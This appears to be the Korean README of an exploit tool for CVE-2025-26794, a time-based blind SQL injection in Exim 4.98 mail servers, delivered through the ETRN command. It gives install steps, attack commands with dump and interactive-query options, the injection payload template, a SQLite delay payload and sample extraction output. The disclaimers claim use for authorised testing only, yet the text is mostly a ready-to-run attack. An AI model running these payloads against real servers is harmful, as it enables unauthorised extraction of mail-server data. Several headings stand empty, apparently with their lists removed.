
CVE-2025-26794의 Exim 4.98용 SQL 인젝션 익스플로잇. 시간 기반 블라인드 SQLi를 통한 자동화된 데이터 추출. 승인된 침투 테스트에만 사용하십시오.
CVE-2025-26794에 대한 개념 증명(PoC) 익스플로잇 도구로, SQLite DBM 스토리지를 사용할 때 ETRN 명령을 통해 Exim 4.98 메일 서버의 SQL 인젝션 취약점을 시연합니다.
승인된 보안 테스트 전용
이 도구는 교육 목적 및 승인된 침투 테스트용으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 다음을 포함한 다양한 법률에 따라 불법입니다:
소유하지 않은 시스템을 테스트하기 전에 반드시 명시적인 서면 승인을 받아야 합니다.
저자와 기여자는 이 도구로 인한 오용 또는 손해에 대해 어떠한 책임도 지지 않습니다.
CVE-2025-26794는 Exim 4.98의 SQL 인젝션 취약점으로, 다음 조건에서 발생합니다:
이 취약점으로 공격자는 다음을 수행할 수 있습니다:
# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit
# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt
# Make script executable (Linux/Mac)
chmod +x exploit.py
python3 exploit.py <target> [options]
python3 exploit.py 192.168.1.10 --test-only
python3 exploit.py mail.example.com --auto-dump
python3 exploit.py 10.0.0.5 --interactive
python3 exploit.py 192.168.1.10 --table users --columns
python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"
ETRN #',1); <MALICIOUS_QUERY> /*
이 페이로드는 ETRN 직렬화 핸들러의 부적절한 검증을 악용하여 SQLite 쿼리에 SQL 인젝션을 가능하게 합니다.
SQLite 고유의 시간 지연을 사용합니다:
SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))
조건이 참일 때 측정 가능한 지연(~1-2초)을 생성합니다.
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-26794: Exim SQLi Data Extraction Tool ║
║ FOR AUTHORIZED USE ONLY ║
╚═══════════════════════════════════════════════════════════╝
[*] 취약점 테스트 중...
[+] 정상 응답 시간: 0.123초
[+] 지연 응답 시간: 1.456초
[!!!] 취약함 - 시간 차이: 1.333초
[*] 테이블 이름 추출 중...
[*] 테이블 1 추출 중...
[+] 추출됨: users
[+] 테이블 발견: users
[*] 'users' 테이블에서 컬럼 추출 중...
[+] 컬럼 발견: id
[+] 컬럼 발견: username
[+] 컬럼 발견: email
SQLite DBM과 함께 Exim 4.98을 실행 중이라면:
이 익스플로잇은 문자를 효율적으로 추출하기 위해 이진 탐색을 사용합니다:
unicode(): 문자의 ASCII 값 가져오기substr(): 결과에서 부분 문자열 추출sqlite_master: 스키마 열거용 시스템 테이블pragma_table_info(): 컬럼 메타데이터 추출다음 분야의 기여를 환영합니다:
모든 기여에는 다음이 포함되어야 합니다:
이 프로젝트는 교육 목적으로만 공개됩니다. 책임감 있고 합법적으로 사용하십시오.
XploitGh0st
이 도구를 사용하여 취약점을 발견한 경우:
기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 도구를 윤리적이고 합법적으로 사용하십시오.
| 옵션 | 설명 |
|---|
host | 대상 호스트명 또는 IP 주소(필수) |
-p, --port | SMTP 포트(기본값: 25) |
-t, --timeout | 소켓 타임아웃(초, 기본값: 30) |
--threshold | 탐지용 시간 지연 임계값(기본값: 0.8초) |
--test-only | 취약점만 테스트, 데이터 추출 없음 |
--auto-dump | 데이터베이스 구조와 데이터 자동 덤프 |
--interactive | 대화형 SQL 쿼리 콘솔 실행 |
--table TABLE | 추출 대상 특정 테이블 지정 |
--columns | 컬럼 이름 추출(--table과 함께 사용) |
--query QUERY | 사용자 지정 SQL 쿼리 실행 |